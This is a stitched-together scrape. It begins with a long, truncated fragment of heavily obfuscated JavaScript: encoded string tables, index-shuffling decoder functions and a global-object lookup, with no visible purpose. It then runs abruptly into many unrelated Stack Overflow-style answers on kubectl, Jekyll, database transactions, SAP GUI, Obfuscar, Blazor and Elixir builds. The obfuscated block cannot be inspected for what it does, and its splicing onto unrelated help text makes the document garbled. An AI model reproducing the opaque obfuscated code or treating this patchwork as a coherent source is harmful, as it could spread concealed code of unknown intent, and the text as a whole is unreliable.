5b)),var_114(0x43),var_114(var_30(0xc2)),var_114(var_30(0x70)),var_114(var_30(0x71)),var_114(0x47),var_114(var_30(0x72)),var_114(0x49),var_114(var_30(0xf)),var_114(var_30(0x74)),'\x38\x45\x35\x59\x76\x62\x7c',var_114(var_30(0x1b)),var_114(var_30(-0xa)),var_114(var_30(0x17f)),var_114(var_30(0x4b)),var_114(0x50),var_114(var_30(-0x13)),var_114(var_30(0x37)),var_114(var_30(0x10)),var_114(var_30(0x75)),var_114(var_30(0x76)),var_114(var_30(0x77)),var_114(0x57),'\x4f\x5a\x76\x33\x39\x21\x7c',var_114(var_30(0x40)),var_114(var_30(0x1c)),var_114(var_30(0x11)),var_114(var_30(0x2e)),var_114(0x5c),var_114(0x5d),var_114(0x5e),var_114(var_30(0x79)),var_114(var_30(0x7a)),var_114(var_30(0x7b)),var_114(var_30(0x21)),var_114(var_30(0x3a)),var_114(var_30(0x7c)),var_114(var_30(0x7d)),var_114(var_30(0x7e)),var_114(0x67),'\x7c\x6b\x59\x5e\x57\x67\x55\x7b\x23',var_114(0x68),var_114(0x69),var_114(var_30(0x16a)),var_114(var_30(0x43)),var_114(var_30(-0x4)),var_114(0x6d),var_114(var_30(0x80)),var_114(var_30(0x7)),var_114(var_30(0x81)),var_114(0x71),var_114(var_30(0x36)),'\u003d\u006f\u0066\u0069\u0057\u0062\u007c',var_114(0x73),'\x29\x6f\x6b\x4a\x69\x62\x7c',var_114(var_30(0x2a)),var_114(0x75),'\x52\x39\x41\x76\x7c\x42\x4c\x7b','\x7c\x6b\x69\x31\x57\x67\x55\x7b',var_114(var_30(0x1d)),var_114(var_30(0x82)),var_114(var_30(0x83)),var_114(0x79),var_114(var_30(0x84)),var_114(0x7b),var_114(0x7c),var_114(0x7d),var_114(var_30(0x86)),var_114(var_30(-0x5)),var_114(var_30(0x12a)),var_114(0x81),var_114(var_30(0x5e)),var_114(0x83),var_114(var_30(0x48)),var_114(var_30(0x87)),var_114(var_30(0x56)),var_114(var_30(0x12)),'\x2f\x6f\x58\x3b\x3a\x47\x7c',var_114(0x88),var_114(0x89),var_114(var_30(0x8a)),var_114(var_30(0x1eb)),var_114(var_30(0x8b)),var_114(var_30(-0x14)),var_114(var_30(0x29)),var_114(0x8f),var_114(var_30(0x8c)),var_114(var_30(0x52)),var_114(var_30(0x8d)),var_114(var_30(0x2b)),var_114(var_30(0x8)),var_114(var_30(0x8e)),var_114(var_30(0x32)),var_114(var_30(0x2d)),'\u005a\u006c\u0026\u003b\u003a\u0047\u007c',var_114(var_30(0x59)),var_114(var_30(0x17c)),var_114(0x9a),var_114(0x9b),var_114(0x9c),var_114(var_30(0x109)),var_114(var_30(0x90)),var_114(var_30(0x91)),var_114(0xa0),var_114(var_30(0x14a)),var_114(var_30(0x92)),var_114(var_30(0x93)),var_114(0xa4),var_114(var_30(0xc5)),var_114(var_30(0x102)),var_114(var_30(0x94)),var_114(var_30(0x95)),var_114(var_30(0xa7)),var_114(0xaa),var_114(0xab),var_114(0xac),var_114(var_30(0x13)),'\u0045\u0045\u0072\u0077\u0058\u0066\u003c\u002a\u0041\u0079\u0070\u0059\u0079\u0051\u0046\u0025\u0050\u007c',var_114(var_30(0x97)),var_114(0xaf),'\u0060\u0074\u0043\u004f\u002c\u0025\u007c',var_114(var_30(-0x9)),var_114(var_30(0x98)),var_114(var_30(0x3b)),var_114(var_30(0x99)),var_114(0xb4),'\x48\x29\x44\x76\x6c\x41\x35\x7b\x47\x6d\x25\x30\x54\x73\x7b\x3f\x50\x7c',var_114(var_30(0x9a)),var_114(var_30(0x9c)),var_114(0xb7),var_114(0xb8),var_114(0xb9),var_114(0xba),var_114(var_30(0x9e)),var_114(var_30(0x9f)),var_114(0xbd),var_114(0xbe),var_114(var_30(0x33)),var_114(var_30(0xa0)),var_114(var_30(0xa1)),var_114(var_30(0xd6)),var_114(0xc3),var_114(var_30(-0x2a)),var_114(var_30(0xa3)),var_114(var_30(0xa4)),var_114(var_30(0xa5)),var_114(var_30(0x45)),var_114(0xc8),'\x3a\x29\x76\x22\x2f\x3a\x7c',var_114(0xc9),var_114(var_30(-0x29)),var_114(var_30(-0x28)),var_114(0xcc),var_114(var_30(-0x29)),var_114(0xca),var_114(0xca),var_114(var_30(-0x22)),var_114(var_30(-0x21)),var_114(var_30(-0x28)),var_114(var_30(-0x20)),var_114(var_30(0x204)),var_114(var_30(-0x24)),var_114(var_30(-0x23)),var_114(var_30(0xa6)),var_114(var_30(0xaa)),var_114(0xd4),var_114(0xd5),'\x4d\x7c\x30\x29\x69\x51\x43\x5f',var_114(var_30(0xd2)),var_114(var_30(0x1ad)),var_114(var_30(0xae)),'\x35\x21\x37\x4a\x29\x52\x7c\x5f',var_114(var_30(0xaf)),var_114(var_30(0xd4)),var_114(var_30(0xb1)),var_114(var_30(0x26)),var_114(0xdd),'\u007c\u003f\u005a\u0060\u0029\u0056\u004b\u005f','\x45\x73\x46\x45\x69\x60\x7c',var_114(var_30(-0x27)),var_114(var_30(0xbe)),var_114(0xe0),var_114(var_30(0xc3)),var_114(0xe2),var_114(0xe3),var_114(var_30(0xdb)),'\u0029\u006f\u0042\u0077\u003c\u003a\u007c',var_114(var_30(-0x26)),var_114(var_30(-0x25)),var_114(var_30(0xf3)),var_114(var_30(0xf4)),var_114(var_30(-0x1c)),var_114(var_30(-0x1b)),'\x37\x7c\x47\x34',var_114(var_30(0xf5)),var_114(var_30(0xf6)),var_114(var_30(-0x27)),var_114(var_30(0xf9)),var_114(0xee),var_114(var_30(-0x2)),var_114(0xf0),var_114(var_30(0xf8)),var_114(var_30(0xb2)),var_114(var_30(0xe5)),var_114(var_30(0x239)),var_114(var_30(0xa8)),var_114(0xf6),var_114(var_30(0xb5)),var_114(0xf8),var_114(0xf9),var_114(0xfa),var_114(var_30(0xfd)),var_114(0xfc),var_114(0xfd),var_114(0xfe),var_114(var_30(0x31)),var_114(0x100),var_114(var_30(0x55)),var_114(0x102),var_30(-0x1f),var_114(var_30(0xa2)),var_114(0x103),var_114(0xcb),var_114(var_30(0xff)),var_114(var_30(0x100)),'\x56\x55\x43\x38\x7c\x28\x4d\x39',var_114(0x106),var_114(0x107),var_114(var_30(0x1ae)),var_114(var_30(0x103)),var_114(var_30(0xe1)),var_114(var_30(0x105)),var_114(var_30(0x106)),var_30(-0x1e),var_114(var_30(0x107)),var_114(var_30(-0x26)),var_114(var_30(-0x25)),var_114(var_30(-0x1d)),'\u007a\u0061\u002c\u0026\u005e\u0053\u007c',var_114(var_30(0x108)),var_114(0xe9),var_114(var_30(0x10a)),var_114(0x111),var_114(var_30(0x10b)),var_114(0x113),var_114(0xcb),var_114(0x104),var_114(0x114),var_114(var_30(0x10c)),var_114(var_30(0x10d)),var_114(0x117),var_114(0x118),var_114(var_30(0x10e)),var_114(0x11a),var_114(var_30(0x10f)),var_114(var_30(0x110)),var_114(0x11d),'\x24\x39\x31\x24\x38\x5d\x52\x7c',var_114(0x11e),var_114(0x11f),var_114(0x120),var_114(0x121),var_114(0x122),var_114(var_30(0x17b)),var_114(var_30(0x112)),var_114(0x125),var_114(0x126),var_114(0x127),var_114(var_30(0x12f)),var_114(var_30(0x133)),var_114(var_30(0x123)),var_114(var_30(0x134)),var_114(var_30(0x131)),var_114(var_30(0x130)),var_114(var_30(0x34)),var_114(0x12f),var_114(var_30(0x157)),'\x7c\x3e\x6a\x3b\x3f\x47\x76\x32',var_114(0x131),var_114(var_30(-0x24)),var_114(var_30(-0x23)),var_114(var_30(0x41)),var_114(var_30(-0x22)),var_114(var_30(-0x21)),var_114(var_30(0x159)),var_114(0x134),var_114(0x135),var_114(var_30(0x15a)),var_114(0x137),var_114(0x138),var_114(0x139),var_114(var_30(-0x29)),var_114(var_30(-0x28)),var_114(var_30(-0x20)),var_114(var_30(-0x22)),var_114(var_30(-0x21)),var_114(0x13a),var_114(0xcd),var_114(var_30(-0x21)),var_114(var_30(0xd9)),var_114(var_30(-0x18)),var_114(var_30(-0x17)),var_114(0xcf),var_114(var_30(0x171)),var_114(var_30(0x182)),'\x5d\x72\x53\x56\x7c\x36\x76\x42',var_114(var_30(0x183)),var_114(var_30(0x184)),var_114(0x142),var_114(var_30(0x186)),var_114(var_30(0x187)),var_114(var_30(0x188)),var_114(var_30(0x189)),var_114(var_30(0x18a)),var_114(var_30(0x18b)),'\u0063\u0051\u003a\u0056\u0049\u004d\u007c',var_114(var_30(0x11e)),var_114(0x14a),var_114(var_30(0x18e)),var_30(-0x1f),'\x36\x54\x44\x33\x3e\x7c\x5d\x42',var_114(var_30(0xdf)),var_114(var_30(0xda)),var_114(0x14e),var_114(0x14f),var_114(var_30(0x191)),var_114(var_30(0x192)),var_114(var_30(0x193)),var_114(var_30(0x194)),var_30(-0x1e),var_114(0x154),var_114(0x155),var_114(var_30(-0x1a)),var_114(0x157),var_114(var_30(-0x1d)),var_114(var_30(0x195)),var_114(var_30(0x196)),var_114(var_30(0x197)),var_114(0x15b),var_114(var_30(0x198)),var_114(var_30(0x199)),var_114(var_30(-0x1c)),var_114(var_30(0x12c)),var_114(0x15f),var_114(var_30(0xb9)),var_114(var_30(0x19a)),var_114(var_30(0x19b)),var_114(var_30(0x19c)),var_114(var_30(-0x28)),var_114(var_30(-0x20)),var_114(var_30(0x1a7)),var_114(var_30(0x1a4)),var_114(0x166),var_114(0x167),var_114(0x168),var_114(0x169),var_114(var_30(-0x19)),var_114(0x16b),var_114(var_30(0x1b0)),var_114(0x16d),'\x7c\x3e\x2c\x37',var_114(0x16e),var_114(var_30(0x30)),'\u0045\u0073\u0046\u0045\u0069\u0060\u007c',var_114(var_30(0x19d)),var_114(0x170),var_114(0x171),var_114(0x172),var_114(var_30(0x1bb)),var_114(0x174),var_114(0x175),var_114(0x176),var_114(var_30(0x1be)),var_114(var_30(0x1bf)),var_114(var_30(0xbb)),var_114(var_30(0x17d)),var_114(var_30(-0x1c)),var_114(var_30(-0x1b)),var_114(var_30(-0x1a)),var_114(0x17b),var_114(0x17c),var_114(0x17d),'\x49\x54\x24\x33\x41\x53\x7c',var_114(0x17e),var_114(var_30(-0x19)),var_114(var_30(0x1c0)),var_114(var_30(0x1c2)),var_114(0x181),var_114(var_30(0x1c3)),var_114(0x183),var_114(var_30(0x128)),var_114(var_30(0xf7)),var_114(var_30(0x1a1)),var_114(var_30(0x1c4)),var_114(0xcb),var_114(0x188),var_114(var_30(0x15b)),var_114(var_30(-0x18)),var_114(var_30(-0x17)),var_114(var_30(0xfa)),var_114(var_30(0x1c5)),var_114(var_30(0xfc)),var_114(var_30(0x19e)),'\x77\x24\x24\x77\x48\x4d\x7c',var_114(var_30(0x181)),var_114(var_30(0x1c6)),var_114(var_30(0x1c7)),var_114(var_30(0x156)),var_114(var_30(0x1c8)),var_114(var_30(0x1c9)),'\x6d\x70\x7c\x47\x2c\x2b\x43\x37',var_114(var_30(0x1ca)),var_114(var_30(0x1b5)),var_114(var_30(0x1cb)),var_114(0x196),var_114(0x197),var_114(0x198),var_114(0x199),var_114(var_30(0x1ce)),var_114(0x19b),var_114(var_30(0x1cf)),var_114(0x19d),var_114(0x19e),var_114(var_30(0xbf)),var_114(var_30(0x1d2)),var_114(var_30(0xd3)),var_114(var_30(0x1d3)),var_114(0x1a3),var_114(0x1a4),var_114(var_30(0x1d4)),var_114(0x1a6),var_114(0x1a7),var_114(var_30(0x1d5)),var_114(var_30(0x1d6)),'\u002b\u0024\u006a\u0077\u0065\u0059\u007c',var_114(var_30(0x15e)),var_114(var_30(0xf1)),var_114(0x1ac),var_114(0x1ad),'\u0068\u007c\u007b\u0051\u005f\u0028\u0033\u004c\u0057',var_114(var_30(0x1d9)),var_114(var_30(0x16d)),var_114(var_30(0x173)),var_114(var_30(0x1da)),var_114(var_30(0x1db)),var_114(var_30(0x1a2)),var_114(0x1b4),var_114(var_30(0x1dc)),var_114(var_30(0x1dd)),var_114(var_30(0x121)),var_114(var_30(0x1de)),var_114(var_30(0x1e0)),var_114(0x1ba),var_114(var_30(0x1e1)),var_114(var_30(0x1b6)),var_114(var_30(0x1e2)),var_114(var_30(0x1e3)),var_114(var_30(0x1e4)),var_114(var_30(0x1e5)),var_114(var_30(0x1e6)),var_114(0x1c2),var_114(var_30(0x168)),var_114(var_30(0x1ee)),var_114(var_30(0x1f2)),var_114(0x1c6),'\u0070\u005e\u006c\u0037\u0052\u0047\u006a\u0035\u0071\u007a\u0055\u005a\u0060\u005b\u0066\u0057\u0056\u0075\u004d\u0062\u006c\u0079\u007c',var_114(var_30(0x11b)),var_114(0x1c8),'\u0057\u0025\u0062\u0026\u007e\u006f\u006d\u0049\u0075\u0056\u005b\u003d\u0070\u0051\u004e\u004b\u0045\u0040\u0057\u0069\u0026\u003e\u0068\u0071\u002f\u0065\u007c\u004c\u005f\u0039\u0040\u002c\u0053\u0045\u0025\u0035',var_114(0x1c9),var_114(var_30(0x1fe)),var_114(var_30(0x1ff)),'\u002c\u0033\u0062\u0076\u0064\u002b\u004f\u003b\u002e\u0067\u0021\u005b\u0072\u0034\u007b\u003f\u0054\u005e\u002f\u0077\u0040\u004c\u007c',var_114(var_30(0x13a)),var_114(var_30(0x14c)),var_114(0x1ce),var_114(0x1cf),'\u0056\u0061\u0043\u0060\u004f\u0045\u0069\u006f\u006c\u0075\u0021\u0041\u0021\u0032\u0040\u0044\u0073\u0025\u0057\u0028\u0052\u003d\u005a\u003c\u0036\u0056\u0066\u0075\u005d\u0023\u0035\u0071\u0062\u002b\u0066\u0028\u0078\u0024\u007c',var_114(0x1d0),var_114(var_30(0x202)),var_114(var_30(0x205)),var_114(var_30(0x160)),var_114(0x1d4),'\u006a\u0069\u007c\u0057\u0026\u0044\u007a\u0035\u003e\u0074\u0060\u0041\u0078\u0062\u0033\u0070','\x48\x29\x34\x48\x47\x62\x43\x6c\x62\x79\x2b\x76\x40\x3d\x35\x2c\x72\x73\x2c\x26\x7b\x47\x3c\x5f\x7c\x6f\x71\x39\x70\x32\x47\x29\x58\x54\x46\x31\x69\x31\x36\x32\x75\x56\x22\x75\x72\x34\x54',var_114(var_30(0x20f)),var_114(var_30(0x210)),var_114(var_30(0x161)),var_114(var_30(0x214)),var_114(0x1d9),var_114(var_30(0x16f)),'\x4e\x5b\x3f\x60\x64\x41\x46\x2b\x46\x6d\x25\x69\x46\x39\x65\x29\x64\x2b\x44\x26\x7c\x28\x2c\x32','\u002e\u0074\u005f\u0033\u006c\u0025\u0024\u0070\u0066\u007a\u007d\u0054\u0059\u005a\u005b\u0064\u0034\u0045\u004c\u0077\u0037\u003d\u007c',var_114(var_30(0x21d)),var_114(var_30(0x16b)),var_114(var_30(0x21e)),'\x79\x40\x73\x30\x72\x25\x26\x3a\x45\x79\x37\x68\x21\x73\x7c\x33\x6a\x7c',var_114(var_30(0x21f)),'\x7c\x33\x3d\x31\x55\x36\x2c\x6d\x40\x3b\x51\x2b\x32\x25\x52\x25\x41\x64\x40\x5e\x3c\x50\x52\x75\x47\x45\x50\x22\x64\x32\x46\x3f\x65\x7b','\u007a\u0037\u0057\u0026\u0033\u003a\u006d\u0049\u0064\u003f\u0044\u0029\u005d\u0025\u0043\u0075\u0068\u0069\u0070\u0072\u0021\u0062\u007c','\x4f\x2f\x5a\x59\x26\x44\x6a\x3c\x48\x6b\x30\x37\x2c\x7a\x56\x69\x2c\x56\x46\x45\x6f\x41\x7c',var_114(var_30(0x220)),var_114(var_30(0x221)),var_114(var_30(0x223)),var_114(0x1e2),var_114(var_30(0x224)),var_114(var_30(0x225)),'\u0050\u0051\u0031\u0045\u0074\u006c\u0077\u0046\u0028\u007a\u007a\u0030\u003f\u0034\u002e\u003c\u0066\u0024\u0044\u0056\u0058\u0036\u0072\u007a\u0044\u0046\u0073\u0030\u002f\u0079\u0022\u005f\u0068\u007c',var_114(var_30(0x226)),var_114(0x1e6),var_114(var_30(0x227)),var_114(0x1e8),'\x29\x6b\x76\x69\x68\x26\x7c',var_114(var_30(0x229)),var_114(0x1ea),var_114(var_30(0xd5)),'\u0046\u0031\u007c\u0054\u0067\u006c\u0071\u005e\u0029\u0045\u0044\u0059\u0055\u004b\u0029\u0049\u0071\u0024\u0044\u0054\u003a\u0049\u0040\u007a\u0038\u0075\u003a\u0037\u005f\u0068\u0029\u0071\u0057\u006c\u0040\u0035\u007d\u005e\u0070\u0047\u0054',var_114(var_30(0x22a)),var_114(var_30(0x163)),var_114(0x1ee),'\u0076\u002b\u002f\u005e\u0051\u0059\u007c',var_114(0x1ef),var_114(0x1f0),'\u004e\u0064\u007c\u0045\u0066\u003d\u004a\u0079\u007b\u0075\u006d\u0025\u0029\u0072\u003c\u0044\u0078\u0069\u0042\u0023\u0061\u0068\u002e\u0026\u0075\u005f\u0073\u0038\u0032\u005b\u0052\u0049\u003f\u0077\u0069\u0059\u002a\u004c\u005e\u0054\u0064\u0065\u0048\u0030\u002e\u0032'];var_6=var_31((...var_2)=>{var var_4=var_117(var_2=>{return var_3[var_2>0x5a?var_2>0x2c3?var_2-0x27:var_2<0x2c3?var_2-0x5b:var_2-0x27:var_2-0x19]},0x1);var_1(var_2.length=var_4(0x71),var_2[0x8d]=0x20);if(typeof var_2[var_30(-0x15)]===var_114(var_30(-0x11))){var var_5=var_117(var_2=>{return var_3[var_2<0x20c?var_2+0x5c:var_2+0xf]},0x1);var_2[var_5(-0x45)]=var_112}var_2[var_2[var_4(0x73)]+var_30(-0x13)]=var_2[var_4(0x5c)];if(typeof var_2[var_30(-0x12)]===var_114(var_30(-0x11))){var var_7=var_117(var_2=>{return var_3[var_2>-0x45?var_2>-0x45?var_2<0x224?var_2<0x224?var_2+0x44:var_2+0x45:var_2+0x37:var_2-0xd:var_2+0xd]},0x1);var_2[var_7(-0x2a)]=var_32}var_2.var_3=var_2[var_30(-0x2c)];if(var_2[var_4(0x72)]===var_30(0x9)){var var_8=var_117(var_2=>{return var_3[var_2>0x31?var_2<0x29a?var_2>0x29a?var_2-0x4d:var_2>0x31?var_2-0x32:var_2+0x2e:var_2-0x57:var_2-0xa]},0x1);var_6=var_2[var_8(0x4c)]}if(var_2[0x71]){var var_9=var_117(var_2=>{return var_3[var_2>0x28b?var_2+0x4a:var_2<0x28b?var_2>0x22?var_2-0x23:var_2+0x42:var_2+0x35]},0x1);[var_2[var_2[var_4(0x73)]-var_9(0x3f)],var_2[var_2[var_9(0x3b)]+0x51]]=[var_2var_30(-0x15),var_2[var_4(0x79)]||var_2[var_2[var_4(0x73)]-var_30(-0xc)]];return var_6(var_2.var_3,var_2[var_4(0x75)],var_2[var_9(0x40)])}if(var_2[var_4(0x79)]!==var_2[var_2[var_4(0x73)]+(var_2[var_4(0x73)]+var_30(-0xd))]){var var_10=var_117(var_2=>{return var_3[var_2>-0x33?var_2<-0x33?var_2-0x12:var_2<-0x33?var_2+0x12:var_2<-0x33?var_2+0x21:var_2+0x32:var_2-0x11]},0x1);return var_2[var_2[0x8d]-var_4(0x77)][var_2[var_4(0x79)]]||(var_2[var_30(-0x12)][var_2[var_10(-0x14)]]=var_2var_10(-0x1b))}if(var_2[var_2[var_4(0x73)]-(var_2[0x8d]-(var_2[var_30(-0x14)]-var_30(-0xc)))]&&var_2[var_4(0x72)]!==var_112){var var_11=var_117(var_2=>{return var_3[var_2>0x285?var_2+0x3e:var_2<0x285?var_2<0x1c?var_2-0x26:var_2-0x1d:var_2+0x4c]},0x1);var_6=var_112;return var_6(var_2.var_3,-var_30(-0x2b),var_2[var_4(0x78)],var_2[var_2[var_11(0x35)]-(var_2[var_11(0x35)]-var_30(-0x15))],var_2[var_30(-0x12)])}},var_30(-0x16));function var_34(){return globalThis}function var_35(){return global}function var_36(){return window}function var_37(){return new Function(var_114(var_30(0x1f8)))()}function var_38(var_2=[var_34,var_35,var_36,var_37],var_4,var_5=[],var_6,var_7){var_4=var_4;try{var var_8=var_117(var_2=>{return var_3[var_2>0x2c1?var_2+0x26:var_2>0x2c1?var_2-0x59:var_2>0x2c1?var_2-0x4c:var_2<0x2c1?var_2-0x59:var_2-0x5f]},0x1);var_1(var_4=Object,var_5var_114(var_8(0x89)))}catch(e){}rMsb2e:for(var_6=var_30(-0x2c);var_6<var_2[var_114(0x1f7)];var_6++)try{var var_9=var_117(var_2=>{return var_3[var_2>0x22f?var_2-0xd:var_2>0x22f?var_2+0x5a:var_2+0x39]},0x1);var_4=var_2var_6;for(var_7=var_9(-0x39);var_7<var_5[var_114(var_30(-0x8))];var_7++)if(typeof var_4[var_5[var_7]]===var_114(0x1f1)){continue rMsb2e}return var_4}catch(e){}return var_4||this}var_1(var_7=var_38()||{},var_8=var_7[var_114(var_30(0x22e))],var_9=var_7[var_114(var_30(0x22))],var_10=var_7[var_114(var_30(0x22f))],var_11=var_7[var_114(var_30(0x230))]||String,var_12=var_7[var_114(var_30(0x1d8))]||Array,var_13=var_117(()=>{var var_2=new var_12(0x80),var_4,var_5;var_1(var_4=var_11[var_114(var_30(0x0))]||var_11[var_114(var_30(0x231))],var_5=[]);return var_31(var_117((...var_6)=>{var var_7;function var_8(var_6){return var_3[var_6>0x259?var_6-0x50:var_6>0x259?var_6+0x59:var_6+0xf]}var_1(var_6[var_30(-0xb)]=0x1,var_6[var_30(-0x7)]=-var_30(-0xa));var var_9,var_10;var_1(var_6[var_6.var_5+var_30(-0x6)]=var_6[var_6.var_5+var_8(0x28)],var_6[var_8(0x14)]=var_6[0x0][var_114(var_30(-0x8))],var_5[var_114(var_6[var_8(0x16)]+0x244)]=var_30(-0x2c));for(var_7=var_30(-0x2c);var_7<var_6[var_6.var_5+var_30(-0x6)];){var var_12=var_117(var_6=>{return var_3[var_6<-0xe?var_6-0x63:var_6>0x25b?var_6+0x4:var_6>-0xe?var_6<-0xe?var_6+0x3c:var_6+0xd:var_6-0x2c]},0x1);var_10=var_6[var_6[var_30(-0x7)]+var_30(-0xa)][var_7++];if(var_10<=var_12(0x1a)){var_9=var_10}else{if(var_10<=0xdf){var var_13=var_117(var_6=>{return var_3[var_6<-0x33?var_6-0x22:var_6<0x236?var_6+0x32:var_6-0x2a]},0x1);var_9=(var_10&var_6[var_13(-0xd)]+var_12(0x1b))<<var_13(-0x9)|var_6[var_6.var_5+var_8(0x13)][var_7++]&0x3f}else{
I just had to solve a similar problem, the solutions above do the job, however I needed to be able to identify the pod. I'm sharing the command used here:
kubectl get po -o json -A | jq -r '.items[] | {name: .metadata.name, mac: (.metadata.annotations["k8s.v1.cni.cncf.io/network-status"] // "[]" | fromjson | .[0].mac)}'
(note the output includes the pod's name)
{% assign posts_2025 = site.posts | where_exp: "post", "post.year == '2025'" %}
{% for post in posts_2025 %}
<div>your stuff here</div>
{% endfor %}
---
title: blablabla
year: '2025'
---
Disculpen, pero yo creo hace falta llamar en el Uses a la libreria que contiene a TBlobStream, la cual desconozco.
Try use "height: 100%" instead of "maxHeight: 100%" on .detailsList class.
You could try a locking mechanism on the database instance to track parallel calls, something like the following:
private depth = 0;
private activeTransactions = 0; // tracks parallel transactions
async transaction<V>(done: (conn: this) => V): Promise<V> {
if (this.activeTransactions > 0 && this.depth === 0) {
//what to do if parallel transaction detected
}
this.activeTransactions += 1;
this.depth += 1;
await this.execute(`SAVEPOINT tt_${this.depth}`);
try {
return await done(this);
} catch (err) {
await this.execute(`ROLLBACK TO tt_${this.depth}`);
throw err;
} finally {
await this.execute(`RELEASE tt_${this.depth}`);
this.depth -= 1;
this.activeTransactions -= 1;
}
}
Alternatively, you could try using a WeakMap to track concurrent instances or you could use the async-mutex library to do the same thing.
Check this information: https://www.stechies.com/installing-sap-gui-java-mac-os/
Conn=/H/Application Server/S/32instance number/&clnt=client number&user=username
For me, it works with:
conn=/H/Application Server/S/32instance number
Example:
conn=/H/192.168.0.1/S/3201
It works!
They didn't "create a panel", they created a window, added controls, used the window DC to create an OpenGL window context and then used glViewport to draw to the rectangular portion of the window defined by that command.
In my case this issue was caused because I started using webpack/vite bundlers for my existing firebase project. Initially 'firebase deploy' was mapped to the 'build' folder and I had to change it to 'dist' folder in 'firebase.json'. Else 'firebase deploy' kept deploying my old builds which had code that relied on deps that I already had uninstalled. Which somehow gave me the blank page with 'process is not defined' error.
Using mae as loss leads to predicting median value, while using mse leads to predicting average value. You can check this post: https://stats.stackexchange.com/questions/355538/why-does-minimizing-the-mae-lead-to-forecasting-the-median-and-not-the-mean for more detailed explanation.
Had something to do with HDR in my case. Turned the HDR off and works like a charm.
Use HotKey
Example:
import SwiftUI
import HotKey
struct ContentView: View {
let hotKey = HotKey(key: .tab , modifiers: [.option])
var body: some View {
VStack {}
.onAppear {
hotKey.keyDownHandler = buttonHandler
}
}
func buttonHandler() {
/* ... */
}
}
But I'm still curious in how it can send the shortcuts without Accessibility permission.
You can try the python package detective-snapshot
Any run of the python program will log the inputs/outputs of the function to a file under _snapshots/
from detective import snapshot
@snapshot()
def main():
# your main code here
pass
if __name__ == "__main__":
main()
this worked for me: Try to forward the health check path to the root directory of your project then restart nginx inside your container
Use vars(my_object_name) to obtain a dictionary of the object's attributes.
Note that you can get the same information by inspecting my_object_name.__dict__.
Problem was solved doing one of two things:
OR
Now, I have another problem: "Cannot recover the key". But it is a topic to another question. Thank you all of you that helped me.
In my case I tried many things but nothing works out. Then I tried following:
First of all I was unable to install FirebaseCrashlytic updated version due to interdependency of FirebaseCrashlytics, FirebaseMessaging and GoogleUtilities. So I have to update first Minimum iOS Target version in Project and also in Podfile, then I would be able to update latest FirebaseCrashlytics and GoogleUtilities.
Based on Autoclass pricing âThere is no operation charge when Autoclass transitions an object to a colder storage class.â. In terms of your sample calculation and which is the most cost-effective solution, it would be best to consult a Google Cloud sales specialist for clarification. They can offer detailed insights based on your use-case to optimize the cost of your transition.
In my case I tried many things but nothing works out. Then I tried following:
First of all I was unable to install FirebaseCrashlytic updated version due to interdependency of FirebaseCrashlytics, FirebaseMessaging and GoogleUtilities. So I have to update first Minimum iOS Target version in Project and also in Podfile, then I would be able to update latest FirebaseCrashlytics and then my dSYM file successfully upload and finally I can see crash reporting on Firebase Crashlytic console.
It looks like there is a database issue. This query does "work"
Cheers!
If you rename the Folders and/or the *.csproj files. you need to do the following things:
The Gemini API is known to be slow as reported on the Google dev forums
Shortening your prompt can be of help.
As per C standard, the result of signed integer overflow is undefined. See a short summary on cppreference
Because of that, whatever GCC is doing is technically correct.
For those having an actual DNS issue, see this thread, very helpful answer: Error Deploying AWS ECS: Dial TCP: No such Host
pip install yfinance --upgrade
worked for me. Thank you.
Unfortunately, the annotation entry points are not saved like all the other inspections settings, so exporting them (or saving as project defaults) simply can't be done the normal way. There has been a request to fix this, but it has remained unfixed for many years:
https://youtrack.jetbrains.com/issue/IDEA-84055
Generally speaking, the misc.xml file where these are persisted should not be stored in revision control. In my own project, we have a special project setup that makes targetted edits in files in the .idea directory to compensate for the fact that IDEA saves random things in bad places.
Before I start, I thank you all for taking the time to respond.
I have already implemented the two previous steps of first installing the extension and then the Nuget, to later copy the Obfuscar.Console.exe file from the Nuget and replace it with the Extension, without obtaining successful results.
I am getting this Error: 1>An error occurred during processing: 1>Unable to resolve dependency: _Microsoft.Android.Resource.Designer
The full output is this
Build started at 5:22 PM m.... 1>------ Compile operation started: Project: ObfuscarMaui, configuration: Debug Any CPU ------ 1>Including assemblies for Hot Reload support 1>ObfuscarMaui -> C:\Obfuscar\ObfuscarMaui\ObfuscarMaui\bin\Debug\net9.0-android\ObfuscarMaui.dll 1>Debug@@Any CPU 1>Loading project C:\Obfuscar\ObfuscarMaui\ObfuscarMaui_Obfuscar\obfuscar_Debug_Any_CPU.xml...Processing assembly: ObfuscarMaui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null 1>Loading assemblies...Extra framework folders: 1>An error occurred during processing: 1>Unable to resolve dependency: _Microsoft.Android.Resource.Designer 1>0 file(s) copied(s) ========== Compilation: 1 success, 0 failure, 0 update, 0 omitted ========== ========== Compilation completed at 5:23 PM and took 01:18.708 minutes ==========
This repository contains the project I tested with https://github.com/estivenson1/ObfuscarMaui
la verison del Obfuscar.Console.exe que esta dentro de proyecto es 2.2.40.0
Try removing "-p", packageName from your XJC options. This should allow XJC to generate each schema into separate packages.
It has less to do with Framework and more to do with OS according to the official word from MS: https://learn.microsoft.com/en-us/dotnet/framework/network-programming/tls
Windows 7 doesn't support TLS 1.3, and neither do early builds of Windows 10.
This question has been asked before without good answer because there isn't one yet:
q does not terminate a pdb session after hitting pdb.set_trace() in a session I am looking at. os._exit(0) worked
Which version of Visual Studio are you using exactly? Did you update to the latest version?
You could try to reset all settings back to the defaults as described here: https://learn.microsoft.com/en-us/visualstudio/ide/personalizing-the-visual-studio-ide?view=vs-2022 and/or try to repair/reinstall visual studio as described here: https://learn.microsoft.com/en-us/visualstudio/ide/how-to-report-a-problem-with-visual-studio?view=vs-2022
You could try to report the problem to microsoft as described here: https://learn.microsoft.com/en-us/visualstudio/ide/how-to-report-a-problem-with-visual-studio?view=vs-2022
if anyone still having this annoying issue here's a workaround for it.
Basically this will ignore all JS runtime errors completely from Blazor debug point.
Uncheck this box here in the Exception Settings Window (Debug > Windows > Exception Settings)
Found the solution but forgot to post here, go to
C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build
replace 2022 with your respective visual studio tool run
vcvarsall.bat x64
Which sets up an environment for you to do make. WITHIN THE SAME SHELL! then do
mix deps.compile
which compiles your dependancies after which
after successful compile you can go on building the usual way, unless you have trouble and have to delete the build folder, symptom of this is when you run migration but starting the server iex mix -S phx.server the site still complains you have not run your migrations and attempt of it brings an error of running migrations on existing ones. In case of such, delete build and you will need to repeat the steps so to rebuild all the artifacts within environment again, but after which you are free to go on as usual.
I could build a cmd script for this sometime or if someone can edit and provide it well then good too.. happy coding.
